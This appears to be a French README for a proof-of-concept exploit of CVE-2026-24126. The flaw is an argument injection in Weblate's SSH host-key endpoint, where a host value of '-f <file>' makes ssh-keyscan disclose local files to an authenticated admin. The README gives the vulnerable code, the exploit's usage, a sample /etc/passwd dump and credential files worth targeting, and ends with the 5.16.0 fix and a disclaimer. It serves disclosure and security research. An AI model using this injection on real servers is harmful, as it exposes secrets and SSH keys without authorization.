
Preuve de concept d'exploitation pour CVE-2026-24126, une lecture arbitraire de fichiers dans Weblate via l'injection d'arguments hôte SSH, permettant aux administrateurs authentifiés de lire les fichiers du serveur.
Découvert par : Alejandro Baño · Janvier 2026 Reconnu par : Notes de version de Weblate 5.16
Le point de terminaison de gestion des clés d'hôte SSH de Weblate transmet le paramètre host fourni par un administrateur authentifié directement à ssh-keyscan sans aucune désinfection ni validation d'argument. Comme ssh-keyscan accepte un indicateur -f <file> pour lire les noms d'hôtes cibles depuis un fichier, un attaquant disposant d'identifiants d'administrateur peut injecter cet indicateur comme valeur d'hôte et forcer le serveur à ouvrir un fichier local arbitraire. La sortie d'erreur résultante (ou stdout) est renvoyée textuellement au navigateur dans un bloc de message d'erreur, divulguant le contenu du fichier.
| Champ | Valeur |
|---|---|
| Cible | Weblate (instances auto-hébergées) |
| Composant | Gestion des clés SSH — weblate/ssh/views.py · add_host_key() |
| Authentification requise | Oui — compte administrateur Weblate |
| Versions affectées | Toutes les versions ≤ 5.15.2 (testé dans 5.0.2 et 5.15.2) |
| Impact | Lecture arbitraire de fichiers locaux en tant qu'utilisateur du processus serveur web (weblate, www-data, etc.) |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — simplified
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← host is appended with no validation
result = subprocess.run(cmdline, ...)
La valeur host provient directement du champ host du corps POST sans liste blanche, sans suppression des tirets initiaux et sans terminateur d'argument -- avant la valeur fournie par l'utilisateur. Cela permet à un attaquant d'injecter n'importe quel indicateur de ssh-keyscan.
ssh-keyscan -f /etc/passwd lit /etc/passwd comme une liste de noms d'hôtes, échoue à résoudre chaque ligne et produit une sortie d'erreur pour chacune. Cette sortie d'erreur se propage via le gestionnaire CalledProcessError et est affichée dans un bloc alert-danger de la réponse HTTP.
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| Indicateur | Description |
|---|---|
-r / --rhost | URL de base de l'instance Weblate |
-u / --username | Nom d'utilisateur administrateur |
-p / --password | Mot de passe administrateur |
-f / --file | Chemin du fichier à lire sur le serveur |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] Login successful for user: admin
[*] Sending payload to http://localhost/manage/ssh/, this could take some time, please be patient...
[+] Extracted file content:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit finished
Tout fichier lisible par l'utilisateur du système d'exploitation exécutant Weblate (généralement l'utilisateur weblate) peut être exfiltré via une seule requête POST authentifiée. Les cibles sensibles incluent :
settings.py, .env, local_settings.py/var/lib/weblate/.ssh/id_rsaMettez à jour vers Weblate 5.16.0 ou une version ultérieure. Il s'agit du correctif officiel publié par l'équipe Weblate le 18 février 2026, qui a introduit une validation appropriée des entrées sur le champ d'hôte SSH.
Ce dépôt est destiné à des fins éducatives et de recherche en sécurité autorisée uniquement. N'utilisez pas cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas obtenu d'autorisation écrite explicite de tester. L'auteur n'assume aucune responsabilité en cas de mauvaise utilisation.